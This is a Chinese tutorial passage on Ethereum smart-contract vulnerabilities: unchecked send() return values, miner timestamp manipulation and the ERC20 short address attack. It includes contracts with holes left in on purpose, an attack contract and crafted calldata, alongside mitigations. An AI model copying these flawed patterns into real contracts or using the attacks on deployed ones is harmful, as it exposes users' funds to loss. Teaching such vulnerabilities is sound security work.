1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 contract UncheckedBank { mapping (address => uint256) public balanceOf; // 余额mapping // 存入ether,并更新余额 function deposit() external payable { balanceOf[msg.sender] += msg.value; } // 提取msg.sender的全部ether function withdraw() external { // 获取余额 uint256 balance = balanceOf[msg.sender]; require(balance > 0, "Insufficient balance"); balanceOf[msg.sender] = 0; // Unchecked low-level call bool success = payable(msg.sender).send(balance); } // 获取银行合约的余额 function getBalance() external view returns (uint256) { return address(this).balance; } }
Hacker
它刻画了一个倒霉的储户,取款失败但是银行余额清零:合约回调函数 receive()
中的 revert()
将回滚交易,因此它无法接收 ETH
;但是提款函数 withdraw()
却能正常调用,清空余额。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 contract Attack { UncheckedBank public bank; // Bank合约地址 // 初始化Bank合约地址 constructor(UncheckedBank _bank) { bank = _bank; } // 回调函数,转账ETH时会失败 receive() external payable { revert(); } // 存款函数,调用时 msg.value 设为存款数量 function deposit() external payable { bank.deposit{value: msg.value}(); } // 取款函数,虽然调用成功,但实际上取款失败 function withdraw() external payable { bank.withdraw(); } // 获取本合约的余额 function getBalance() external view returns (uint256) { return address(this).balance; } }
分析:因为 UncheckedBank
合约中的 withdraw
函数,未对执行结果进行判断,ta只管转账,不管用户是否受到,如果用户没收到,ta照样将用户的存款清空。
12.2 预防
检查低级调用的返回值,在上面的银行合约中,我们可以改正 withdraw()
。
1 2 bool success = payable(msg.sender).send(balance); require(success, "Failed Sending ETH!")
合约转账ETH
时,使用 call()
,并做好重入保护。
使用OpenZeppelin
的Address库 ,它将检查返回值的低级调用封装好了。
13. 操纵区块时间
以太坊智能合约中使用block.timestamp来向合约提供当前区块的时间戳,并且这个变量通常被用于计算随机数、锁定资金等。但是区块的打包时间并不是系统设定的,而是可以由矿工在一定的幅度内进行自行调整。因此,一旦时间戳使用不当,则会引起漏洞。
核心问题:矿工操纵时间戳生成对自己有利的随机数,或者来解除合约的时间限制
13.1 复现 示例一
合约通过交易发送所在区块时间戳来决定是否获奖,每个区块中只允许第一笔交易获奖,若区块时间戳的十进制表示最低位是5,交易发送者即可获奖。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 pragma solidity ^0.4.24; contract TimeGame1{ uint public lastBlockTime; function lucky() public payable{ require(msg.value == 100 wei); require(lastBlockTime != block.timestamp); //block.timestamp获取当前区块的时间戳 lastBlockTime = block.timestamp; if(lastBlockTime % 10 == 5){ msg.sender.transfer(address(this).balance); } } }
漏洞点:由于矿工有个0~900s的任意设置时间戳的权限,导致矿工可以非常轻易的来设置满足交易的时间戳。普通用户可以自己写一个攻击合约来调用lucky(),也是可以自由设置满足交易的时间戳。
示例二
14. 短地址攻击 如果我们想调用智能合约的函数,需要在交易的payload字段中填充一段字节码。以ERC20的transfer()的函数为例,函数原型为:
function transfer(address to, uint amount) public returns (bool success);
我们需要通过一段68个字节的字节码来调用该函数进行转账,比如:
a9059cbb000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca000000000000000000000000000000000000000000000000000000000000000001
具体可以分解为3个部分:
4字节函数签名:a9059cbb
to参数:000000000000000000000000146aed09cd9dea7a64de689c5d3ef73d2ee5ca00
amount参数:0000000000000000000000000000000000000000000000000000000000000001 大家可能注意到,这个转账地址有点特殊:最后两个数字为0。
假如有个用户“不小心”忘记输入最后这两个0了怎么办?这样我们的输入就只有67个字节了。EVM是通过CALLDATALOAD指令从输入数据中获取函数参数的,因此它会先从后面的amount参数里“借”两个0来补足前面的地址参数。当它要加载amount参数的时候,发现位数不够,会在右边补0 这篇*文章 *写得挺好的。
参考链接 WTF学院
慢雾拒绝服务攻击